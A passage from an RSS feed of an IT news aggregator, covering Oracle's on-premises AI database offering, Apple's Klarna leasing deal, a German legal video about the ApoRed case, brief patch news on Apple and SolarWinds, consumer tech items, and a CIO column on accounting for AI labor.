<p class="wp-block-paragraph">“For a CIO in a regulated sector who wants to deploy AI agents but can’t let regulated data touch an external model API, that’s a real unlock,” Chaturvedi said.</p>



<p class="wp-block-paragraph">More so because most AI offerings, at least in their present form and state, cannot guarantee sensitive data protection, said <a href="https://www.infotech.com/profiles/igor-ikonnikov" target="_blank" rel="noreferrer noopener">Igor Ikonnikov</a>, advisory fellow at Info-Tech Research Group.</p>



<p class="wp-block-paragraph">Even if Base Database Cloud@Customer turns out more expensive than fully cloud-based options, “It’s still attractive as it eliminates reputational and economic risk caused by possible AI-induced data leakage,” Ikonnikov said.</p>



<p class="wp-block-paragraph">The offering’s consolidation of databases, applications, and AI agents will also simplify deployment of AI-based workflows, said Forrester principal analyst <a href="https://www.forrester.com/analyst-bio/noel-yuhanna/BIO852">Noel Yuhanna</a>. “It reduces stack complexity and helps accelerate development cycles, deliver real-time data, and eliminate data movement challenges.”</p>



<p class="wp-block-paragraph">Despite those advantages, Chandak cautioned that the offering is unlikely to see broad adoption outside Oracle’s existing customer base: “If a company isn’t already on Oracle, the pull is weak. You don’t buy into Oracle’s database just to get this.”</p>



<p class="wp-block-paragraph">Enterprises seeking similar hybrid cloud capabilities have no shortage of alternatives: AWS, Microsoft, Google Cloud, IBM, Dell Technologies, and HPE all offer combinations of on-premises infrastructure, cloud management, and AI services.</p>



<p class="wp-block-paragraph">However, those alternatives typically require customers to integrate multiple software and hardware components rather than consume them as a single managed offering.</p>



<p class="wp-block-paragraph">Oracle’s differentiation, although narrow, is hard to match, Chaturvedi said: “The vertical integration of database, engineered hardware, cloud management, high-availability architecture, and now private AI, all engineered together and delivered as a managed on-prem subscription should be genuinely convenient and attractive.”</p>



<p class="wp-block-paragraph">The offering is compatible with Oracle AI Database 26ai and Oracle Database 19c in Enterprise Edition and Standard Edition configurations. It also supports Oracle Real Application Clusters, Oracle Data Guard, and Zero Data Loss Recovery Appliance through Oracle-managed cloud automation for high availability and disaster recovery, the company said.</p>



<p class="wp-block-paragraph">Base Database Cloud@Customer is now generally available, Oracle said. It did not provide pricing.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687133/it-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Wed, 22 Jul 2026 19:18:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ApoRed schlägt zurück: Sein eigenes Statement. Und was juristisch dran ist]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 91x - Views:1108 Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt

Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg

Du hast eine Abmahnun...]]></description>
<link>https://tsecurity.de/de/3687078/videos/apored-schlaegt-zurueck-sein-eigenes-statement-und-was-juristisch-dran-ist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687078/videos/apored-schlaegt-zurueck-sein-eigenes-statement-und-was-juristisch-dran-ist/</guid>
<pubDate>Wed, 22 Jul 2026 19:02:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: WBS LEGAL - Bewertung: 91x - Views:1108 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/WxP1jLcrHGM?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Einer deiner Social-Media-Accounts, PayPal- oder ähnliches wurde gesperrt? ➔ https://wbs.law/account-gesperrt<br />
<br />
Dein BAföG-Antrag wurde abgelehnt, falsch berechnet oder nicht bearbeitet? Wir helfen dir. ➔ https://wbs.law/bafoeg<br />
<br />
Du hast eine Abmahnung wegen angeblichen illegalen Downloads erhalten? ➔ https://wbs.law/filesharing<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
<br />
Triggerwarnung: In diesem Video geht es um Schilderungen sexualisierter Gewalt gegen Minderjährige. Wenn euch das Thema belastet, schaut bitte auf euch.<br />
<br />
Wochenlang hat ApoRed zu den schweren Vorwürfen der drei Mädchen aus Zypern geschwiegen – jetzt meldet er sich mit einem 45-minütigen Statement zurück: Unschuldsvermutung, eine mysteriöse Zeugin mit Decknamen Valeria, eine Komplott-Theorie – und Simex, der ApoRed inzwischen offen der Lüge bezichtigt. Wir schauen uns das Statement genauer an: Was stimmt juristisch, was ist falsch – und an welchen Stellen könnte sich ApoRed mit diesem Video selbst am meisten geschadet haben? Es gilt für alle Beteiligten die Unschuldsvermutung.<br />
<br />
ApoReds Statement-Video: https://www.youtube.com/watch?v=VPya3FwOS4c<br />
Streaven Video: https://www.youtube.com/watch?v=p8qCPeezss4<br />
§ 46 StGB: https://www.gesetze-im-internet.de/stgb/__46.html<br />
§ 164 StGB: https://www.gesetze-im-internet.de/stgb/__164.html<br />
§ 177 StGB: : https://www.gesetze-im-internet.de/stgb/__177.html<br />
§ 186 StGB: : https://www.gesetze-im-internet.de/stgb/__186.html<br />
§ 187 StGB: : https://www.gesetze-im-internet.de/stgb/__187.html<br />
§ 136 StPO: : https://www.gesetze-im-internet.de/stpo/__136.html<br />
§ 152 StPO: : https://www.gesetze-im-internet.de/stpo/__152.html<br />
§ 261 StPO: https://www.gesetze-im-internet.de/stpo/__261.html<br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
WBS.LEGAL sucht dich! Du bist auf der Suche nach einem attraktiven, spannenden und anspruchsvollen Job? Dann bewirb dich bei uns und komm in unser Team. Bei WBS.LEGAL arbeitest du im Herzen der Medienhauptstadt Köln und bist im Berufsleben immer am Puls der Zeit – garantiert. Hier unsere offenen Stellenangebote: https://www.wbs.legal/karriere/#jobs Was erwartet dich bei uns? Hier bekommst du weitere Infos: https://www.wbs.legal/karriere/. <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Rechtsanwalt Prof. Christian Solmecke Prof. Christian Solmecke hat sich als Rechtsanwalt und Partner der Kölner Medienrechtskanzlei WBS.LEGAL auf die Beratung der Internet-, IT- und Medienbranche spezialisiert. So hat er in den vergangenen Jahren den Bereich Internetrecht/E-Commerce der Kanzlei stetig ausgebaut und betreut zahlreiche Medienschaffende, Web-2.0-Plattformen und App- Entwickler. Neben seiner Tätigkeit als Rechtsanwalt ist Prof. Christian Solmecke vielfacher Buchautor und als Gründer der cloudbasierten Kanzleisoftware Legalvisio.de auch erfolgreicher LegalTech-Unternehmer.<br />
<br />
 ▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Virtueller Kanzlei-Rundgang: https://wbs.law/rundgang Startet euren Rundgang in 3D und 360° durch die Kanzlei WBS.LEGAL (inkl. YouTube- Studio) <br />
<br />
▬▬▬▬▬▬▬▬▬▬▬▬▬ <br />
Social-Media-Kanäle von WBS.LEGAL Wir freuen uns, wenn du uns auch auf unseren weiteren Social-Media-Kanälen besuchst und uns dort folgst. Jeder unserer Kanäle steht für sich und bringt dir garantiert einen Mehrwert. <br />
<br />
▬Instagram und TikTok▬ <br />
Auf unseren erfolgreichen Kanälen auf Instagram und TikTok räumen wir täglich mit Rechtsirrtümern auf und präsentieren dir rechtliche Lifehacks. Damit bist du immer auf dem Laufendem und bekommst deine tägliche Dosis Alltagsrecht. Kurz, knackig und immer auf den Punkt. Folge uns auf Instagram und TikTok und du kannst vor deinen Freunden mit neuem Wissen glänzen. <br />
<br />
➥ Instagram: https://wbs.law/recht2go <br />
➥ TikTok: https://wbs.law/recht2goTikTok<br />
<br />
 ▬Facebook▬ <br />
Auf Facebook sind wir inzwischen schon alte Hasen, denn seit Jahren informieren wir dich dort täglich über aktuelle Rechts-News. Gerne kannst du uns dort auch eine Anfrage als private Nachricht schicken. Schau vorbei! <br />
<br />
Hier der Link: ➥ https://wbs.law/facebook<br />
<br />
▬Podcasts▬<br />
 Du bist unterwegs, unter der Dusche oder hörst einfach gerne Podcasts? Dann haben wir etwas für dich: Höre die Tonspur unserer Videos täglich auf Spotify, Soundcloud und iTunes. So bleibst du immer aktuell! <br />
<br />
Hier die Links: <br />
➥ https://wbs.law/spotify <br />
➥ https://wbs.law/soundcloud <br />
➥ https://wbs.law/apple<br />
<br />
▬Unser Zweitkanal▬ <br />
Unseren weiteren YouTube-Kanal „WBS – Die Experten“ kennst du, oder? Wenn nicht, dann unsere dringende Empfehlung: Schau rein! Denn hier erfährst du immer donnerstags ausführlich alle wichtigen Infos zu unseren Rechtsbereichen – präsentiert von einigen unserer Top-Rechtsanwälte. Ob Medienrecht, Urheberrecht, Markenrecht, Social-Media- Recht, Verkehrsrecht oder Datenschutzrecht: Das alles und mehr nur auf unserem Zweitkanal, und zwar aus erster Hand von unseren WBS-Experten. <br />
<br />
Hier der Link: ➥ https://wbs.law/dieexperten <br />
<br />
▬Kontakt▬ <br />
Hotline: 0221 / 400 67 550 E-Mail: info@wbs.legal<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple fixes Hide My Email vulnerability that exposed real addresses for a year]]></title>
<description><![CDATA[Apple patches the Hide My Email flaw that exposed users’ real addresses for more than a year after outside pressure forces its hand.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3687070/ios-mac-os/apple-fixes-hide-my-email-vulnerability-that-exposed-real-addresses-for-a-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687070/ios-mac-os/apple-fixes-hide-my-email-vulnerability-that-exposed-real-addresses-for-a-year/</guid>
<pubDate>Wed, 22 Jul 2026 18:57:23 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="An AI-generated image of an iPhone using the Hide My Email feature used in a story about Apple fixing a security exploit." decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-2048x1152.jpg 2048w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-2040x1148.jpg.webp 2040w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-1920x1080.jpg 1920w, https://www.cultofmac.com/wp-content/uploads/2026/07/Apple-Hide-My-Email-fix-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Apple patches the Hide My Email flaw that exposed users’ real addresses for more than a year after outside pressure forces its hand.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yes, I write my code by hand.]]></title>
<description><![CDATA[Author: Alberta Tech - Bewertung: 331x - Views:3257]]></description>
<link>https://tsecurity.de/de/3687038/videos/yes-i-write-my-code-by-hand/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687038/videos/yes-i-write-my-code-by-hand/</guid>
<pubDate>Wed, 22 Jul 2026 18:34:56 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Alberta Tech - Bewertung: 331x - Views:3257 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/fiQHLZ4LNjE?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p><br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SolarWinds Patches 15 Critical Serv-U Flaws That Could Hand Attackers Root Access]]></title>
<description><![CDATA[SolarWinds has released important security updates for its Serv-U file transfer software, addressing 15 vulnerabilities that could allow attackers to gain elevated privileges and, in some cases, execute code with root user access. These fixes were delivered in Serv-U version…
Read more →
The post...]]></description>
<link>https://tsecurity.de/de/3686908/it-security-nachrichten/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686908/it-security-nachrichten/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/</guid>
<pubDate>Wed, 22 Jul 2026 17:46:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SolarWinds has released important security updates for its Serv-U file transfer software, addressing 15 vulnerabilities that could allow attackers to gain elevated privileges and, in some cases, execute code with root user access. These fixes were delivered in Serv-U version…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/">SolarWinds Patches 15 Critical Serv-U Flaws That Could Hand Attackers Root Access</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SolarWinds Patches 15 Critical Serv-U Flaws That Could Hand Attackers Root Access]]></title>
<description><![CDATA[SolarWinds has released important security updates for its Serv-U file transfer software, addressing 15 vulnerabilities that could allow attackers to gain elevated privileges and, in some cases, execute code with root user access. These fixes were delivered in Serv-U version 2026.3, published on ...]]></description>
<link>https://tsecurity.de/de/3686693/it-security-nachrichten/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686693/it-security-nachrichten/solarwinds-patches-15-critical-serv-u-flaws-that-could-hand-attackers-root-access/</guid>
<pubDate>Wed, 22 Jul 2026 16:39:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>SolarWinds has released important security updates for its Serv-U file transfer software, addressing 15 vulnerabilities that could allow attackers to gain elevated privileges and, in some cases, execute code with root user access. These fixes were delivered in Serv-U version 2026.3, published on July 21, 2026, as part of the company’s ongoing effort to resolve […]</p>
<p>The post <a href="https://cybersecuritynews.com/solarwinds-patches-serv-u-flaws/">SolarWinds Patches 15 Critical Serv-U Flaws That Could Hand Attackers Root Access</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung’s newest foldable finally feels Ultra]]></title>
<description><![CDATA[While we wait for Apple's rumored foldable iPhone, Samsung is polishing a design it already has on the market. I just spent three hours with my hands on the new Z Fold 8 Ultra, and all I can think about is how Samsung finally made the crease invisible. Samsung says it achieved this thanks to […]]]></description>
<link>https://tsecurity.de/de/3686393/it-nachrichten/samsungs-newest-foldable-finally-feels-ultra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686393/it-nachrichten/samsungs-newest-foldable-finally-feels-ultra/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While we wait for Apple's rumored foldable iPhone, Samsung is polishing a design it already has on the market. I just spent three hours with my hands on the new Z Fold 8 Ultra, and all I can think about is how Samsung finally made the crease invisible. Samsung says it achieved this thanks to […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The 2026 Honda Prelude is a marvel of hybrid technology]]></title>
<description><![CDATA[When it comes to enthusiast-geared Honda hardware, the Civic Si, Civic Type R, and Acura NSX often come to mind first for their revvy VTEC (Honda's form of variable valve timing) engines and playful chassis dynamics. The Prelude, on the other hand, less so. Instead, the Prelude is a technological...]]></description>
<link>https://tsecurity.de/de/3686067/it-nachrichten/the-2026-honda-prelude-is-a-marvel-of-hybrid-technology/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686067/it-nachrichten/the-2026-honda-prelude-is-a-marvel-of-hybrid-technology/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[When it comes to enthusiast-geared Honda hardware, the Civic Si, Civic Type R, and Acura NSX often come to mind first for their revvy VTEC (Honda's form of variable valve timing) engines and playful chassis dynamics. The Prelude, on the other hand, less so. Instead, the Prelude is a technological study - still aimed at […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Meta made its own AI detection system. It should have just used Google’s]]></title>
<description><![CDATA[IIn March, Meta's Oversight Board called on the company to "meet its public commitments and employ its own tools" to help quell the spread of deceptive generative AI content across platforms. Meta responded in July by introducing Content Seal - an invisible watermarking technology that flags imag...]]></description>
<link>https://tsecurity.de/de/3686066/it-nachrichten/meta-made-its-own-ai-detection-system-it-should-have-just-used-googles/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686066/it-nachrichten/meta-made-its-own-ai-detection-system-it-should-have-just-used-googles/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[IIn March, Meta's Oversight Board called on the company to "meet its public commitments and employ its own tools" to help quell the spread of deceptive generative AI content across platforms. Meta responded in July by introducing Content Seal - an invisible watermarking technology that flags images generated by the company's new AI model. But […]]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


